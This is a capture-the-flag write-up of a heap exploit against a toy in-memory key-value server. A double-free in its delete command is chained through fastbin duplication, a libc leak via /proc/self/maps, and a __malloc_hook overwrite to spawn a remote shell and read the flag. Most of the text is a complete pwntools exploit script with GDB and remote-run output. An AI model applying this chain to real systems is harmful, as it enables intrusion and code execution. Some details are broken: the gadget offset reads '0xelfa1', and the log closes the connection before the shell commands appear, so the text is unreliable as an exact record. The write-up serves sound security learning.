

Overview: cache_server.c

The program (cache_server.c) is a Redis-like in-memory key-value store supporting up to 128 entries, with SET, GET, DEL, INFO, FLUSH, and CONFIG commands. A CONFIG command can read arbitrary files from disk, but is gated behind a permissive_mode flag which is initialised to false and cannot be set through any normal command.

The program contains a double-free vulnerability in its key deletion logic. find_entry() searches all 128 slots unconditionally, including slots marked active=false. cmd_del(), however, only checks that find_entry() did not return -1 — it never verifies the active flag before calling free(). As a result, issuing DEL on the same key twice calls free() on the same heap pointer twice.

The attack is carried out in four stages: (1) exploit the double-free through fastbin duplication to write permissive_mode = 1 in the BSS; (2) use CONFIG /proc/self/maps to leak the libc base address; (3) perform a second fastbin duplication to overwrite __malloc_hook with a one_gadget; (4) trigger the hook to obtain a shell, from which the flag file in /flags/ is read.

Constraints and Adaptations

Running checksec on the binary reveals the following protection profile:

```
_ 0 _ [Docker] _ python3 exploit.py REMOTE
[*] '/heap/cache-server/cache_server'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
RUNPATH:   b'/heap/glibc/glibc_2.30_no-tcache'
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
```

Full RELRO: the GOT is read-only. Overwriting function pointers in the GOT is not an option.

No PIE: the binary loads at a fixed base address (0x400000) on every execution. All BSS addresses — including the global cache variable and permissive_mode — are statically known from the ELF symbol table, with no leak required.

NX enabled: the stack and heap are not executable, ruling out shellcode injection.

Stack canary: stack-smashing protection is present; stack-based buffer overflows are not viable.

glibc 2.30, no-tcache: the binary is explicitly linked against a custom glibc 2.30 build with tcache disabled. This is important for two reasons: first, all small allocations go directly to the fastbin (no tcache interception); second, glibc 2.30 does not implement the misaligned_chunk check in fastbin malloc, allowing the fake BSS chunk to pass validation even though it is not naturally aligned.

seccomp whitelist: the binary installs a strict seccomp filter. Notably, `execve` is allowed (unlike the note-manager challenge), enabling a `one_gadget` to spawn a direct shell after `__malloc_hook` is overwritten.

ASLR (libc only): because No PIE, the binary base is fixed. However, libc is subject to ASLR, so `__malloc_hook` cannot be hardcoded. The libc base is recovered at runtime in Stage 2 by parsing `/proc/self/maps` through the unlocked `CONFIG` command.

Vulnerability Analysis

Two functions in `cache_server.c` interact to produce the double-free:

```
int find_entry(const char* key) {
    // searches ALL slots, including active=false ones
    for (int i = 0; i < MAX_KEYS; i++) {
        if (strcmp(cache.entries[i].key, key) == 0)
            return i;
    }
    return -1;
}

void cmd_del(const char* key) {
    int idx = find_entry(key);
    if (idx == -1) { printf("(nil) key not found\n"); return; }
    // BUG: no check on cache.entries[idx].active
    free(cache.entries[idx].value);
    cache.entries[idx].active = false;
    cache.count--;
}
```

`find_entry()` matches on the key string regardless of the active flag. `cmd_del()` trusts the return value without verifying that the entry is still live. Therefore, issuing `DEL k` twice calls `free()` on the same pointer twice. `cmd_set()` does check the active flag (it resets `idx` to -1 for inactive entries) — but this only means `SET` cannot re-activate an entry; it does not prevent the double-free via `DEL`.

The net effect: issuing `DEL k / DEL k` on any key performs a double-free on that entry's value chunk. glibc 2.30 with `no-tcache` places these 90-byte allocations (`request2size(90) = 0x70`) in fastbin index 5.

Heap Structures and Memory Layout

Fastbin chunk layout. Every call to `cmd_set` allocates one heap chunk via `malloc(VALUE_SIZE)`, where `VALUE_SIZE = 90`. `request2size(90) = (90 + 8 + 15) & ~15 = 0x70`. These chunks land in `fastbin[5]`. The chunk header is 16 bytes: 8 bytes of `prev_size` (unused for fastbin) and 8 bytes of `size|flags`. The user pointer returned by `malloc` starts 16 bytes into the chunk. The first 8 bytes of user data serve as the forward pointer `fd` when the chunk is freed.

BSS layout of `cache_state_t`. The global cache variable is in the BSS segment at a fixed address (No PIE). Its layout is:

```
typedef struct {
    cache_entry_t entries[128]; // 128 × 56 = 7168 bytes, offset 0
    size_t count;               // 8 bytes, offset 7168
}
```

```

    bool        permissive_mode;//          1 byte,  offset 7176
    size_t      total_gets;    //           8 bytes,  offset 7184
    size_t      total_sets;    //           8 bytes,  offset 7192
    size_t      total_dels;    //           8 bytes,  offset 7200
} cache_state_t;

```

Each `cache_entry_t` is 56 bytes: `key[32] + value* (8) + active bool padded to 8 + timestamp (8)`. `entries[127]` therefore starts at offset $127 \times 56 = 7112$. Its timestamp field is at offset $7112 + 48 = 7160$. The layout around the fake chunk target is:

```

cache_addr + 7160  entries[127].timestamp  ← fake chunk ptr (FAKE_CHUNK)
cache_addr + 7168  cache.count              ← mchunk_size field
cache_addr + 7176  cache.permissive_mode    ← user data (TARGET WRITE)

```

For malloc to accept this fake chunk, the size field at `FAKE_CHUNK+8` (i.e., `cache.count`) must satisfy `chunksize(count) == 0x70` (fastbin index 5). After 113 SET operations, `cache.count = 113 = 0x71`; `chunksize = 0x71 & ~0x7 = 0x70`. By the time the critical malloc fires, count has risen to 115 = 0x73; `chunksize = 0x70` still. glibc 2.30 no-tcache does not implement the `misaligned_chunk` check, so the fake chunk passes validation unconditionally.

Exploitation Strategy

The exploit proceeds in four stages within a single TCP connection.

Stage 1 — Fastbin dup → `permissive_mode = True`

First, 113 SET commands are issued to prime `cache.count = 0x71`, making the fake chunk's size field valid for fastbin[5].

```

cache_addr = elf.sym["cache"]
FAKE_CHUNK = cache_addr + 7160
TARGET     = cache_addr + 7176

log.info(f"&cache      = {hex(cache_addr)}")
log.info(f"FAKE_CHUNK = {hex(FAKE_CHUNK)}")

for i in range(113):
    cache_set(f"k{i:03d}", f"v{i:03d}")
demo("Seeded cache.count = 113 = 0x71 (fake chunk size field ready)")

```

Then two additional entries (`k113 = chunk A`, `k114 = chunk B`) are allocated. The double-free sequence follows the standard `A→B→A` pattern to bypass glibc's single head-check:

```

chunk_A = cache_set("k113", b"A" * 8)
demo("Allocated chunk_A")

chunk_B = cache_set("k114", b"B" * 8)
demo("Allocated chunk_B")

cache_del("k113")
demo("Freed chunk_A - fastbin: A")

cache_del("k114")
demo("Freed chunk_B - fastbin: B -> A")

cache_del("k113")    # double free A

```

```
demo("Freed chunk_A again (double-free) => fastbin: A -> B -> A")
```

Inside GDB:

```
pwndbg> fastbins
fastbins
0x70: 0x5b3c170 __ 0x5b3c1e0 __ 0x5b3c170
pwndbg>
```

A is now in the fastbin twice. The next SET drains it and overwrites its fd with FAKE_CHUNK (= cache_addr + 7160). Two more SETs drain B and the second A, leaving fastbin head = FAKE_CHUNK. A final SET (k118 = "\x01") calls malloc, which returns FAKE_CHUNK. The written byte lands at FAKE_CHUNK + 0x10 = cache.permissive_mode, setting it to 1 (True). CONFIG is now unlocked.

```
cache_set("k115", p64(FAKE_CHUNK))
demo(f"Allocated chunk_A1 and wrote FAKE_CHUNK ptr = {hex(FAKE_CHUNK)}")

cache_set("k116", b"X" * 8)
demo("Allocated chunk_B1 (draining fastbin)")

cache_set("k117", b"X" * 8)
demo("Allocated chunk_A2 (draining fastbin) - fastbin head now = FAKE_CHUNK")

cache_set("k118", b"\x01")
demo("Allocated fake chunk at &cache.permissive_mode => permissive_mode = True!")
```

Inside GDB:

```
ointer.
pwndbg> print cache.permissive_mode
$2 = 0x1
pwndbg>
```

Stage 2 — libc leak via CONFIG /proc/self/maps

With permissive_mode = True, CONFIG reads arbitrary files. With CONFIG ./flag.txt it is possible to read the flag, but...

```
sending: CONFIG ./flag.txt
WARN error parsing config file, dumping contents (first 20 lines):

1 | Thanks hacker, but the flag is in another castle!
2 | Try to put to good use what you learned in lesson 0x09,
3 | 'Other useful concepts/tools'

Failed to parse configuration (invalid header)
```

Hate to see that (as always) . It is hard to find the flag if it is not possible to execute commands. Because now we can read (almost) everything about the target machine, we can analyse /proc/self/maps to get the glibc current address. In this way, ASLR is no more.

/proc/self/maps uses newlines as separators, so fgets in cmd_config reads each mapping as a separate line and up to 20 lines are printed. The exploit searches for the line containing libc-2.30.so with permissions r-xp (the executable mapping = base address of libc):

```
for line in maps_raw.split('\n'):
    if 'libc-2.30' in line and 'r-xp' in line:
        libc_base = int(line.strip().split('|')[1].strip().split('-')[0], 16)
        break
```

This gives the exact libc base for this run. All libc symbols — including `__malloc_hook` — are then computed by pwntools via `libc.address = libc_base`.

```
1 | 00400000-00401000 r--p 00000000 00:1ea 536463 /home/ctf/cache_server
2 | 00401000-00403000 r-xp 00001000 00:1ea 536463 /home/ctf/cache_server
3 | 00403000-00404000 r--p 00003000 00:1ea 536463 /home/ctf/cache_server
4 | 00404000-00405000 r--p 00004000 00:1ea 536463 /home/ctf/cache_server
5 | 00405000-00406000 rw-p 00005000 00:1ea 536463 /home/ctf/cache_server
6 | 00406000-00407000 rw-p 00006000 00:00 0
7 | 0f8d1000-0f8f2000 rw-p 00000000 00:00 0
8 | 7edaaf21f000-7edaaf3d0000 r-xp 00000000 00:1ea 1857313 /glibc/glibc_2.30_no-tcache/libc-2.30.so
9 | 7edaaf3d0000-7edaaf5cf000 ---p 001b1000 00:1ea 1857313 /glibc/glibc_2.30_no-tcache/libc-2.30.so
10 | 7edaaf5cf000-7edaaf5d3000 r--p 001b0000 00:1ea 1857313 /glibc/glibc_2.30_no-tcache/libc-2.30.so
11 | 7edaaf5d3000-7edaaf5d5000 rw-p 001b4000 00:1ea 1857313 /glibc/glibc_2.30_no-tcache/libc-2.30.so
12 | 7edaaf5d5000-7edaaf5d9000 rw-p 00000000 00:00 0
13 | 7edaaf5d9000-7edaaf600000 r-xp 00000000 00:1ea 1857173 /glibc/glibc_2.30_no-tcache/ld-2.30.so
14 | 7edaaf7fd000-7edaaf7ff000 rw-p 00000000 00:00 0
15 | 7edaaf7ff000-7edaaf800000 r--p 00026000 00:1ea 1857173 /glibc/glibc_2.30_no-tcache/ld-2.30.so
16 | 7edaaf800000-7edaaf801000 rw-p 00027000 00:1ea 1857173 /glibc/glibc_2.30_no-tcache/ld-2.30.so
17 | 7edaaf801000-7edaaf802000 rw-p 00000000 00:00 0
18 | 7fff7c551000-7fff7c572000 rw-p 00000000 00:00 0 [stack]
19 | 7fff7c59b000-7fff7c59f000 r--p 00000000 00:00 0 [vvar]
20 | 7fff7c59f000-7fff7c5a1000 r-xp 00000000 00:00 0 [vdso]
```

Stage 3 — Fastbin dup → `__malloc_hook` = `one_gadget`

A second fastbin duplication targets `__malloc_hook`. The classic `-0x23` trick is applied: the byte `0x7f` from the adjacent `__memalign_hook` value in libc memory acts as a valid fastbin size field (`0x7f & ~0x7 = 0x78` → `fastbin[5]`, same as the `0x70` chunks). The fake chunk pointer is:

```
FAKE_CHUNK2 = libc2.sym.__malloc_hook - 0x23 # 0x7f
user_ptr2 = FAKE_CHUNK2 + 0x10
pad_len = libc2.sym.__malloc_hook - user_ptr2 # = 0x13

ONE_GADGET_OFFSET = 0xelfa1 # tries one gadget, it can be changed
one_gadget = libc2.address + ONE_GADGET_OFFSET
```

Two fresh entries (`k119 = C`, `k120 = D`) are allocated and freed with the same `A→B→A` pattern (`C→D→C`).

```
cache_set("k119", b"C" * 8)
cache_set("k120", b"D" * 8)
cache_del("k119")
cache_del("k120")
cache_del("k119") # double free C->D->C
```

After planting `fd = FAKE_CHUNK2` and draining the fastbin, the next malloc returns `FAKE_CHUNK2`. The payload writes 19 bytes of padding followed by the `one_gadget` address, landing exactly on `__malloc_hook`:

```
cache_set("k121", p64(FAKE_CHUNK2))
cache_set("k122", b"X" * 8)
cache_set("k123", b"X" * 8)
```

```
payload = b"A" * pad_len + p64(one_gadget) # A, not \x00!
cache_set("k124", payload)
demo("__malloc_hook overwritten")
```

The `one_gadget` at offset `0xe1fa1` was chosen because its constraint (`[rsp+0x50] == NULL`) is satisfied at the point of the hook call within `malloc`. The remaining three candidates were not needed.

```
log.info("Triggering __malloc_hook...")
io.sendline(b"SET k125 trigger")
io.interactive()
```

Inside GDB:

```
pwndbg> print __malloc_hook
$3 = (void (*)(size_t, const void *)) 0x7fd5ae0f3fa1 <exec_comm+1761>
pwndbg>
```

Notice (from a different run): `0x7fd5ae0f3fa1 = libc.address + one_gadget_offset = libc.address + 0xe1fa1`

Stage 4 — Shell and flag discovery

The next SET command triggers a `malloc` call, which invokes `__malloc_hook (= one_gadget)` instead of allocating memory. A shell spawns inside the still-open connection. The flag file name was discovered by listing the directory from the shell:

```
$ ls /flags/
FLAG{...} ← filename is the flag itself
```

Proof

```
[*] '/heap/cache-server/cache_server'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'/heap/glibc/glibc_2.30_no-tcache'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[x] Opening connection to nue.tuns.sh on port 27303
[x] Opening connection to nue.tuns.sh on port 27303: Trying 37.120.183.130
[+] Opening connection to nue.tuns.sh on port 27303: Done
[*] &cache = 0x405040
[*] FAKE_CHUNK = 0x406c38
[*] Seeded cache.count = 113 = 0x71 (fake chunk size field ready)
[*] Allocated chunk_A
[*] Allocated chunk_B
[*] Freed chunk_A - fastbin: A
[*] Freed chunk_B - fastbin: B -> A
[*] Freed chunk_A again (double-free) => fastbin: A -> B -> A
```

```
[*] Allocated chunk_A1 and wrote FAKE_CHUNK ptr = 0x406c38
[*] Allocated chunk_B1 (draining fastbin)
[*] Allocated chunk_A2 (draining fastbin) - fastbin head now = FAKE_CHUNK
[*] Allocated fake chunk at &cache.permissive_mode => permissive_mode = True!
sending: CONFIG ./flag.txt
WARN error parsing config file, dumping contents (first 20 lines):
```

```
1 | Thanks hacker, but the flag is in another castle!
2 | Try to put to good use what you learned in lesson 0x09,
3 | 'Other useful concepts/tools'
```

Failed to parse configuration (invalid header)

cache>

```
[*]
[*] Reading flag via CONFIG ...
[*] --- /proc/self/maps ---
WARN error parsing config file, dumping contents (first 20 lines):
```

```
1 | 00400000-00401000 r--p 00000000 00:1ea 536463 /home/ctf/cache_server
2 | 00401000-00403000 r-xp 00001000 00:1ea 536463 /home/ctf/cache_server
3 | 00403000-00404000 r--p 00003000 00:1ea 536463 /home/ctf/cache_server
4 | 00404000-00405000 r--p 00004000 00:1ea 536463 /home/ctf/cache_server
5 | 00405000-00406000 rw-p 00005000 00:1ea 536463 /home/ctf/cache_server
6 | 00406000-00407000 rw-p 00000000 00:00 0
7 | 0f8d1000-0f8f2000 rw-p 00000000 00:00 0 [heap]
8 | 7edaaf21f000-7edaaf3d0000 r-xp 00000000 00:1ea 1857313 /glibc/glibc_2.30_no-
tcache/libc-2.30.so
9 | 7edaaf3d0000-7edaaf5cf000 ---p 001b1000 00:1ea 1857313 /glibc/glibc_2.30_no-
tcache/libc-2.30.so
10 | 7edaaf5cf000-7edaaf5d3000 r--p 001b0000 00:1ea 1857313 /glibc/glibc_2.30_no-
tcache/libc-2.30.so
11 | 7edaaf5d3000-7edaaf5d5000 rw-p 001b4000 00:1ea 1857313
/glibc/glibc_2.30_no-tcache/libc-2.30.so
12 | 7edaaf5d5000-7edaaf5d9000 rw-p 00000000 00:00 0
13 | 7edaaf5d9000-7edaaf600000 r-xp 00000000 00:1ea 1857173
/glibc/glibc_2.30_no-tcache/ld-2.30.so
14 | 7edaaf7fd000-7edaaf7ff000 rw-p 00000000 00:00 0
15 | 7edaaf7ff000-7edaaf800000 r--p 00026000 00:1ea 1857173 /glibc/glibc_2.30_no-
tcache/ld-2.30.so
16 | 7edaaf800000-7edaaf801000 rw-p 00027000 00:1ea 1857173
/glibc/glibc_2.30_no-tcache/ld-2.30.so
17 | 7edaaf801000-7edaaf802000 rw-p 00000000 00:00 0
18 | 7fff7c551000-7fff7c572000 rw-p 00000000 00:00 0 [stack]
19 | 7fff7c59b000-7fff7c59f000 r--p 00000000 00:00 0 [vvar]
20 | 7fff7c59f000-7fff7c5a1000 r-xp 00000000 00:00 0 [vdso]
```

Failed to parse configuration (invalid header)

cache>

```
[*] libc base = 0x7edaaf21f000
[*] libc base = 0x7edaaf21f000
[*] __malloc_hook = 0x7edaaf5d3b50
[*] FAKE_CHUNK2 = 0x7edaaf5d3b2d
[*] one_gadget = 0x7edaaf300fa1
[*] __malloc_hook overwritten
[*] Triggering __malloc_hook...
```

```
[*] Switching to interactive mode
[*] Interrupted
[*] Closed connection to nue.tuns.sh port 27303
$ ls
LICENSE
cache_server
ctf-wrapper.sh
flag.txt
$ ls /
bin
boot
dev
etc
flags
glibc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls /flags/
flag-1118a1593774e884ff60.txt
$ cat /flags/flag-1118a1593774e884ff60.txt
```

Finally the real flag is:

**FLAG{U2FsdGVkX18db5hC2BUvloAFIQL8x/VgaWeocN8XRAxIA/xQmUscdQ8VNvV/bjjg
XLk/7YX7kRbIBk9tL9/ZMVUxsETa4/SHHK1p/1WXfcYKOHZgptiviSoSgK4KS3eIWlpgOx
Vmf1RXCJlzxmr8EZO7Els2aa+iAbDwrRTGiU=}**

AI Usage

During the development of this exploit, I used an LLM as an interactive discussion partner to support specific technical decisions. The arithmetic for the -0x23 fake chunk alignment trick and the pad_len calculation for the __malloc_hook payload are both validated through a discussion. The LLM also helped diagnose a padding issue where \x00 bytes in the payload were being truncated by strtok, and suggested replacing them with non-null padding. I additionally used it to carry over the demo() and GDB scaffolding pattern from the course labs into this exploit, adapting the same tmux-based DEMO_MODE workflow for step-by-step inspection. All core exploitation decisions — identifying the double-free vulnerability, designing the four-stage attack chain, and recognising the fake chunk opportunity in the BSS — were made independently. The AI was not used as a code generator for the exploit logic.

Source Code

```
#!/usr/bin/env python3
from pwn import *
import os

BINARY_PATH = "cache_server"
context.log_level = "info"
context.binary = elf = ELF(BINARY_PATH, checksec=True)
elf_dir = os.path.dirname(elf.path)
libc_dir = "/heap/glibc/glibc_2.30_no-tcache"
gs = f"""
directory {libc_dir} {elf_dir}
continue
"""

def start():
    if args.GDB:
        context.terminal = ["tmux", "new-window"]
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote("nue.tuns.sh", 27303)
    else:
        return process(elf.path)

def demo(msg):
    log.info(msg)
    if os.getenv("DEMO_MODE"):
        pause()

def cache_set(key, value):
    k = key.encode() if isinstance(key, str) else key
    v = value if isinstance(value, bytes) else value.encode()
    io.sendline(b"SET " + k + b" " + v)
    return io.recvuntil(b"cache> ")

def cache_del(key):
    k = key.encode() if isinstance(key, str) else key
    io.sendline(b"DEL " + k)
    io.recvuntil(b"cache> ")

def cache_config(path):
    p = path.encode() if isinstance(path, str) else path
    io.sendline(b"CONFIG " + p)
    return io.recvuntil(b"cache> ")

io = start()
io.recvuntil(b"cache> ")

#-----Stage 1-----
cache_addr = elf.sym["cache"]
FAKE_CHUNK = cache_addr + 7160
TARGET = cache_addr + 7176

log.info(f"&cache = {hex(cache_addr)}")
log.info(f"FAKE_CHUNK = {hex(FAKE_CHUNK)}")

# 113 SETs prime cache.count = 0x71 (fake chunk size field)
for i in range(113):
    cache_set(f"k{i:03d}", f"v{i:03d}")
demo("Seeded cache.count = 113 = 0x71 (fake chunk size field ready)")

cache_set("k113", b"A" * 8)
demo("Allocated chunk_A")
cache_set("k114", b"B" * 8)
demo("Allocated chunk_B")
```

```
cache_del("k113") # fastbin: A
demo("Freed chunk_A - fastbin: A")
cache_del("k114") # fastbin: B->A
demo("Freed chunk_B - fastbin: B->A")
cache_del("k113") # double free: A->B->A
demo("Freed chunk_A again (double-free) => fastbin: A->B->A")

cache_set("k115", p64(FAKE_CHUNK)) # plant fd -> FAKE_CHUNK
demo(f"Allocated chunk_A1, wrote FAKE_CHUNK ptr = {hex(FAKE_CHUNK)}")
cache_set("k116", b"X" * 8)
demo("Allocated chunk_B1 (draining fastbin)")
cache_set("k117", b"X" * 8)
demo("Allocated chunk_A2 - fastbin head now = FAKE_CHUNK")

cache_set("k118", b"\x01") # writes permissive_mode = True
demo("Allocated fake chunk at &cache.permissive_mode => permissive_mode = True!")

# — Stage 2: libc leak via CONFIG /proc/self/maps —————
print("sending: CONFIG ./flag.txt")
troll=cache_config("./flag.txt").decode(errors='replace')
print(troll) # fails
demo("")

log.info("Reading /proc/self/maps for libc base...")
maps_raw = cache_config("/proc/self/maps").decode(errors='replace')
print(maps_raw)

libc_base = None
for line in maps_raw.split('\n'):
    if 'libc-2.30' in line and 'r-xp' in line:
        libc_base = int(line.strip().split('|')[1].strip().split('-')[0], 16)
        break

log.info(f"libc base = {hex(libc_base)}")

# — Stage 3: Fastbin dup -> __malloc_hook = one_gadget —————
libc2 = ELF("/heap/glibc/glibc_2.30_no-tcache/libc-2.30.so", checksec=False)
libc2.address = libc_base

# Classic -0x23 trick: byte 0x7f from __memalign_hook satisfies size check
FAKE_CHUNK2 = libc2.sym.__malloc_hook - 0x23
user_ptr2 = FAKE_CHUNK2 + 0x10
pad_len = libc2.sym.__malloc_hook - user_ptr2 # = 0x13

ONE_GADGET_OFFSET = 0xelfa1 # execve("/bin/sh", rsp+0x50, environ)
one_gadget = libc2.address + ONE_GADGET_OFFSET

log.info(f"__malloc_hook = {hex(libc2.sym.__malloc_hook)}")
log.info(f"FAKE_CHUNK2 = {hex(FAKE_CHUNK2)}")
log.info(f"one_gadget = {hex(one_gadget)}")

cache_set("k119", b"C" * 8)
cache_set("k120", b"D" * 8)
cache_del("k119") # fastbin: C
cache_del("k120") # fastbin: D->C
cache_del("k119") # double free: C->D->C

cache_set("k121", p64(FAKE_CHUNK2)) # plant fd -> FAKE_CHUNK2
cache_set("k122", b"X" * 8)
cache_set("k123", b"X" * 8)

payload = b"A" * pad_len + p64(one_gadget)
cache_set("k124", payload) # write one_gadget over __malloc_hook

# — Trigger: next malloc calls __malloc_hook -> shell —————
log.info("Triggering __malloc_hook -> shell...")
io.sendline(b"SET k125 trigger")
io.interactive()
```